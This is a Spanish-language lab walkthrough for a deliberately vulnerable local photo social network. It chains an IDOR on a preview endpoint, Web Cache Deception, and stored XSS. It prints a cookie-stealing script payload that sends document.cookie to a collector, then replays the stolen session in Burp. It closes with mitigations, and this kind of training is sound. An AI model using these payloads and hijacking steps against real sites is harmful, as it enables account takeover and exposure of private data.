Descripción del laboratorio
GhostGram es una red social de fotos de juguete al estilo
Instagram: perfiles públicos y privados, publicaciones con foto y descripción, comentarios y mensajes
directos. Corre en local (python app/app.py), usa SQLite real por debajo (mismo motor que
GhostCart) y no depende de ningún servicio externo una vez arrancada.
Este laboratorio está basado en el vídeo de Gorka El Bochi Morillo "Así los hackers ven tus fotos privadas", que analiza una red social ficticia llamada «Fotia» y encadena tres vectores de ataque distintos, los tres sobre el mismo objetivo: acceder a fotos que deberían ser privadas. A diferencia de GhostCart y GhostFlix —donde los retos son variaciones del mismo patrón de IDOR repetido en varios endpoints—, aquí cada reto es un fallo conceptualmente distinto, y el segundo en particular (Web Cache Deception) es, con diferencia, el menos intuitivo de los tres: no basta con "cambiar un número en la URL", hace falta entender que hay un tercer actor de por medio — una caché — que no forma parte ni del atacante ni de la víctima.
GET /api/posts/<id>/previewGET /u/<usuario>/<id>.jpg
Antes de empezar: crea tu propia cuenta en /register (será pública, y hará de «atacante» en
los tres retos) y configura el navegador para que pase por el Proxy de Burp — o usa directamente el
navegador embebido de Burp, como en las capturas de este documento. Para los retos 2 y 3 necesitarás
además una segunda sesión (una ventana de incógnito, o un segundo navegador) logueada
con una de las cuentas privadas semilla, para jugar el papel de «víctima»:
| Usuario | Contraseña | Tipo |
|---|---|---|
| laura_gomez | girasol24 | Privada — protagonista de los 3 retos |
| sofia_ruiz | sofia2024 | Privada |
| carlos_ruiz | carlos2024 | Privada |
No es un secreto que haya que adivinar: se entrega directamente como parte del montaje del laboratorio,
igual que hacen algunos labs de PortSwigger Academy con las cuentas de víctima. Usa /reset
en cualquier momento para devolver todo el laboratorio (base de datos completa y la
caché en memoria del reto 2) a su estado inicial.
Antes de tocar ningún reto, nos registramos como ghost_estudiante desde
/register. Esta cuenta es pública por defecto y hace de «atacante» durante todo el
documento.
1IDOR en la vista previa de posts
En el feed, cada publicación de una cuenta privada que no es la nuestra aparece bloqueada con un
candado — pero justo debajo hay un enlace «🔍 Vista previa rápida», una función pensada para dar una
idea del contenido sin necesidad de entrar al perfil completo. Esa función llama a un endpoint de API,
/api/posts/<id>/preview, y ahí está el fallo: el backend solo exige estar logueado
con cualquier cuenta — nunca comprueba si el post pertenece a una cuenta privada, ni si
seguimos a su dueño. Además, los IDs de los posts son correlativos, así que enumerarlos uno a uno es
trivial.
Bajando por el feed con la cuenta de ghost_estudiante llegamos a una publicación de
laura_gomez (cuenta privada). En vez del candado sin más, la app ofrece un enlace de
vista previa rápida.
Al hacer clic, la caja bajo el enlace se rellena con la descripción y la ubicación reales del post — datos que, siendo una cuenta privada que no seguimos, nunca deberíamos poder ver.
En Proxy > HTTP history localizamos la petición que disparó ese clic:
GET /api/posts/1/preview. La respuesta es un JSON completo con la descripción, la
ubicación, el image_url exacto de la foto y hasta los datos del perfil del dueño —
incluido "is_private":true. El servidor sabe perfectamente que la cuenta es privada, y
aun así responde con todo.
Mandamos esa misma petición a Repeater (Ctrl+R) y cambiamos el
1 de la URL por 2. Sin haber tocado el perfil de laura_gomez
en ningún momento, obtenemos su segundo post privado — y, más importante para el siguiente reto, su
image_url exacto: /u/laura_gomez/2.jpg.
image_url — es exactamente lo que necesitamos para el reto 2. En un ataque
real, con IDs correlativos, un bucle con Intruder (o incluso un script simple) volcaría los datos de
todos los posts de la aplicación, públicos o privados, en cuestión de segundos.
"user_id" in session (que haya alguien
logueado) pero nunca compara la propiedad del recurso con quien lo pide, ni respeta el flag
is_private del dueño. La ruta "normal" para ver la misma foto sí hace esa comprobación (lo
veremos en el reto 2) — el fallo es que esta segunda vía de acceso, pensada solo como una utilidad de
interfaz, se saltó por completo esa regla de negocio.
2Web Cache Deception
Este es el reto más denso de los tres, así que antes de tocar nada conviene entender qué vamos
a explotar y por qué. La ruta que sirve el fichero real de la foto
(GET /u/<usuario>/<id>.jpg) está bien protegida: comprueba que
haya sesión y, si la cuenta dueña de la foto es privada, que quien la pide sea exactamente esa cuenta. Si
no lo es, responde 403 {"error": "Esta cuenta es privada"} — el mismo mensaje que se ve en
el vídeo original al pegar la URL directamente sin ser el dueño. Aquí no hay ningún IDOR:
esta ruta sí comprueba propiedad, a diferencia del endpoint del reto 1.
El fallo está delante de esa ruta, no en ella: hay una caché en memoria que representa,
de forma simplificada, lo que haría una CDN o un proxy de caché real (Varnish, Cloudflare, un balanceador
con caché…) puesto por delante de la aplicación. Esa caché sigue una regla típica —y típicamente mal
pensada— de este tipo de infraestructuras: "si la URL termina en una extensión de imagen como
.jpg, es un activo estático, cachéalo". El problema es que la clave de esa caché es
solo el path de la URL: no sabe, ni le importa, si la respuesta que está guardando era
distinta según quién hiciera la petición. La primera vez que alguien —quien sea— consigue un
200 OK en esa URL, la caché la guarda tal cual durante 5 minutos. La siguiente petición a
esa misma URL exacta, venga de quien venga, recibe la respuesta guardada sin volver a pasar por
la comprobación de privacidad.
Eso significa que necesitamos que alguien con permiso —la propia dueña de la foto—
genere ese primer 200 OK que quedará cacheado. En este laboratorio jugamos los dos papeles
nosotros mismos, con dos sesiones distintas del navegador, pero el guión es exactamente el del vídeo: el
atacante ya sabe (gracias al reto 1) que existe la foto /u/laura_gomez/2.jpg, así que se la
manda a la propia Laura por mensaje directo con cualquier pretexto ("¿es esta la foto que buscabas?").
Laura, que sí tiene permiso para ver su propia foto, abre el enlace desde su sesión ya logueada. Esa
petición suya es la que queda guardada en la caché — y a partir de ahí, cualquiera que pida esa
misma URL la recibe servida desde ahí, sin pasar por ningún control.
| Momento | Actor | Petición | Qué ve el servidor / la caché |
|---|---|---|---|
| t0 | Atacante | GET /u/laura_gomez/2.jpg (sin sesión de Laura) |
Caché vacía → pasa a la app real → cuenta privada, no es el dueño → 403. Al no ser 200, no se cachea nada. |
| t1 | Víctima (laura_gomez) | Misma URL exacta, con su propia sesión | Caché vacía → pasa a la app real → es su propia foto → 200 OK. La caché guarda esta respuesta bajo la clave /u/laura_gomez/2.jpg, durante 300s. |
| t2 | Atacante | La misma URL otra vez | La caché ya tiene una entrada para ese path → responde ella misma, sin llegar nunca a la app real ni a su comprobación de privacidad. |
Con la sesión de ghost_estudiante (cuenta pública, sin relación con Laura), visitamos
directamente /u/laura_gomez/2.jpg en el navegador, antes de que nadie más haya cargado
esa foto todavía.
Vemos la misma petición en Burp, con el código de estado y el motivo exactos:
En una segunda sesión (ventana de incógnito), iniciamos sesión como laura_gomez y
visitamos esa misma URL. Al ser su propia foto, la comprobación de privacidad la deja pasar.
La cabecera X-Ghostgram-Cache: MISS (añadida por este laboratorio solo con fines
didácticos — una CDN real no suele anunciar esto de forma tan visible) confirma que la respuesta se
acaba de generar y de guardar en caché. A partir de aquí, cualquier petición idéntica a este path
recibirá esta misma respuesta sin pasar por la app.
De vuelta en la sesión de ghost_estudiante (la misma cuenta pública del paso 1, que
antes recibió un 403 limpio), volvemos a pedir exactamente /u/laura_gomez/2.jpg.
Y en Burp, la prueba definitiva del origen de esa respuesta:
200 OK
en vez de 403 — y la única diferencia real en el sistema es que, entre medias, alguien
con permiso cargó esa misma URL y quedó cacheada. La cookie de sesión del atacante ni siquiera es
relevante para esta respuesta: la caché no la mira.
Vary: Cookie o, más robusto aún, no cachear en absoluto rutas cuya respuesta varíe según
la identidad); y (2) la regla de "cachear todo lo que termine en .jpg/.png" es
una heurística ingenua muy habitual en configuraciones reales de CDN — confunde "es una imagen" con
"es un recurso público", que no son lo mismo.
3XSS almacenado + robo de sesión
El campo de comentarios de cada publicación guarda el texto tal cual se envía y lo pinta después en la
página sin escapar el HTML. Por sí solo, esto ya sería un XSS almacenado: cualquier
<script> guardado en un comentario se ejecutaría en el navegador de cualquiera que
abra esa publicación. Pero hay una segunda causa raíz que multiplica el daño: la cookie de sesión de
GhostGram no lleva el flag HttpOnly. Sin ese flag, JavaScript en la página
puede leer document.cookie directamente — así que el XSS no solo desfigura la página, puede
robar literalmente la sesión de quien la vea.
Como en el vídeo original, el "servidor del atacante" que recibiría la cookie robada normalmente estaría
en una infraestructura aparte (Gorka monta un python3 -m http.server en una terminal
distinta). Para que este laboratorio sea autocontenido y no haga falta abrir un segundo puerto, esa
recolección vive aquí dentro de la propia app de GhostGram, en GET /api/collect — deja
constancia de que esto es una simplificación pedagógica, no cómo funcionaría un ataque real.
Abrimos cualquier publicación pública y bajamos hasta el formulario "Escribe un comentario…". No hace falta que sea un post de la víctima: cualquier comentario visible para ella sirve como cebo — usamos un post público cualquiera para no depender de que la víctima nos siga ni de privacidad.
Con Proxy > Intercept activado, escribimos el payload en el campo y lo enviamos:
<script>fetch('/api/collect?cookie=' + document.cookie)</script>
La petición interceptada muestra el cuerpo JSON exacto que va a guardarse en la base de datos, tal cual, sin ningún tipo de saneamiento:
elemento.innerHTML = comentario tras una llamada a una API): los navegadores, por
diseño, no ejecutan etiquetas <script> insertadas así. Aquí
funciona porque el comentario se pinta en el servidor, como parte del HTML que la página carga
desde cero en cada visita — el navegador sí ejecuta el <script> al parsear ese
HTML inicial, igual que ejecutaría cualquier otro script legítimo de la página.
Antes de que la víctima entre en escena, comprobamos la segunda causa raíz: la respuesta de
POST /login fija la cookie de sesión sin el flag HttpOnly.
HttpOnly, el <script> inyectado en el paso
anterior seguiría ejecutándose (el XSS seguiría siendo real), pero document.cookie
devolvería una cadena vacía para esta cookie en concreto — el robo de sesión, específicamente,
dejaría de ser posible por esta vía. Son dos fallos independientes que se refuerzan entre sí.
En la segunda sesión (incógnito, logueada como laura_gomez), visitamos la misma
publicación. En cuanto la página carga, el <script> guardado en el comentario se
ejecuta silenciosamente en su navegador: no hay ningún indicio visual de que algo haya pasado — el
fetch() se dispara en segundo plano y la página se ve exactamente igual que cualquier
otra publicación con comentarios.
Volvemos a la sesión del atacante y abrimos /panel-robado — la "consola" donde este
laboratorio simula el servidor que recibiría el fetch() del payload.
S mayúscula con un 5, una l
minúscula con una I mayúscula…) y acabar con un valor inválido. Lo fiable es leer el
valor exacto desde donde se guardó (aquí, la propia base de datos del laboratorio), no transcribirlo
a mano.
Con el valor exacto de la cookie, montamos a mano en Repeater una petición
GET /feed sustituyendo nuestra propia cookie por la robada — sin haber escrito la
contraseña de laura_gomez en ningún momento.
El 200 OK y, sobre todo, el enlace de navegación "Mi perfil" → /u/laura_gomez
en el propio HTML de respuesta confirman que el servidor nos reconoce como ella: la sesión robada da
acceso completo a la cuenta, incluidas sus publicaciones y mensajes privados, mientras la cookie siga
siendo válida.
|safe a propósito; y (2) la
cookie de sesión no lleva HttpOnly, lo que convierte un XSS "solo" desfigurador en un robo
de sesión completo. Arreglar cualquiera de los dos por separado ya mitigaría el impacto — arreglar los
dos es lo correcto.
Cómo se protege cada fallo
| Reto | Fallo | Mitigación |
|---|---|---|
| 1 | IDOR — vista previa | Aplicar la misma comprobación de propiedad/privacidad en todas las vías de acceso a un recurso, no solo en la "principal" — aquí faltaba en un endpoint auxiliar de interfaz. |
| 2 | Web Cache Deception | No cachear por path recursos cuya respuesta dependa de la sesión; si hace falta cachear, incluir la identidad (o al menos Vary: Cookie) en la clave de caché, y no basar la decisión de cachear solo en la extensión del archivo. |
| 3 | XSS almacenado + robo de sesión | Escapar siempre el contenido generado por usuarios antes de renderizarlo (o usar una librería de plantillas que lo haga por defecto), y marcar las cookies de sesión como HttpOnly (idealmente también Secure y SameSite). |
Herramientas utilizadas
| Herramienta | Uso |
|---|---|
| Proxy > HTTP history | Confirmar la respuesta completa de un endpoint tras interactuar con la interfaz (reto 1), y comparar la misma URL en distintos momentos (reto 2) |
| Repeater | Enumerar IDs cambiando solo el identificador objetivo (reto 1), y reconstruir una petición a mano con una cookie robada (reto 3) |
| Proxy > Intercept | Retener y examinar el envío de un comentario para confirmar el payload exacto que llega al servidor (reto 3) |
| Dos sesiones de navegador | Imprescindible en los retos 2 y 3 para separar el papel de atacante del de víctima |